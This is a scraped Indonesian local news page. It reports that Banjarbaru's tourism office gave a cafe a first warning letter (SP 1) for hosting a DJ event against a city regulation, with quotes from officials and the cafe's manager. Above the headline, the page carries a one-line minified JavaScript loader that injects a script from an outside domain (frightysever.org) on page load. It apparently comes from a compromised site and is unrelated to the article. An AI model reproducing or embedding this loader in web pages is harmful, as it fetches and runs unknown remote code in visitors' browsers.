(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kafe Gelar Musik Disc Jockey, Pemko Banjarbaru Tegur Lewat SP 1


KANALKALIMANTAN.COM, BANJARBARU – Viral video tayangan sebuah kafe di Kota Banjarbaru menggelar acara musik menggunakan Disc Jockey (DJ) memperlihatkan segerombolan anak muda menikmati alunan musik yang diputar dari alat musik DJ.

Langkah cepat pun diambil Dinas Pemuda Olahraga Budaya dan Pariwisata (Disporabudpar) Kota Banjarbaru dengan langsung memberikan teguran peringatan kepada kafe tersebut.

Kepala Disporabudpar Banjarbaru, Ahmad Yani Makkie melalui Kabid Pariwisata Kurnia Wahyudiana, perihal adanya kafe yang menggelar acara musik dengan mengadakan musik DJ, pihaknya telah berikan Surat Peringatan (SP) 1.

“Sudah kita datangi kafe yang bersangkutan, dan dijelaskan mengenai acara yang digelar. Terpaksa, kafe itu kita berikan SP 1 karena melanggar Perwali,” jelasnya.

 

 

Baca juga: Ridwan Kamil: 162 Orang Meninggal Dunia Akibat Gempa Cianjur

Diketahui kafe tersebut melanggar Perwali Nomor 80 tahun 2016 tentang pengaturan izin usaha hiburan umum, rekreasi dan olahraga.

“Jadi yang dimaksud dalam Perwali itu, tidak diperbolehkan mengadakan acara yang menggunakan DJ, untuk kafe hanya diperbolehkan live music seperti band atau organ tunggal,” ungkapnya.

Terpisah Kepala Seksi Opsdal, Yanto Hidayat mengatakan pihaknya sudah melakukan tindakan terhadap kafe tersebut dan memanggil pemilik kafe untuk datang ke kantor.

“Kita meminta kepada pemilik untuk datang ke kantor, untuk dimintai keterangan terkait hal itu,” ucapnya.

Sementara itu, Kepala Operasional Kafe yang menerima SP 1, Adit, membenarkan dan mengakui telah melaksanakan acara yang mengadakan musik beraliran cepat itu.

Baca juga: Gegara Gonggongan Anjing Tetangga, Lansia di Banjarmasin Dianiaya Pakai Kayu Ulin

“Kita mengakui kesalahan, dan kita juga sudah dimintai keterangan dari Disporabudpar dan Satpol PP Kota Banjarbaru. Kita menerima juga telah diberikan SP 1, karena mengakui kesalahan kita,” ujar Adit.

Pengakuannya juga, dirinya memang tidak mengetahui adanya Perwali yang mengatur terkait hal itu. Tapi, sebelum acara itu digelar sudah membuat izin keramaian ke RT, Polsek dan warga sekitar kafe.

“Izin keramaian kita kantongi, tapi acara kita yang mengadakan DJ itu memang salah ternyata,” akuinya.

Untuk kafe itu sendiri, memang sudah memiliki izin usaha yang dibuat melalui Online Single Submission (OSS).(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.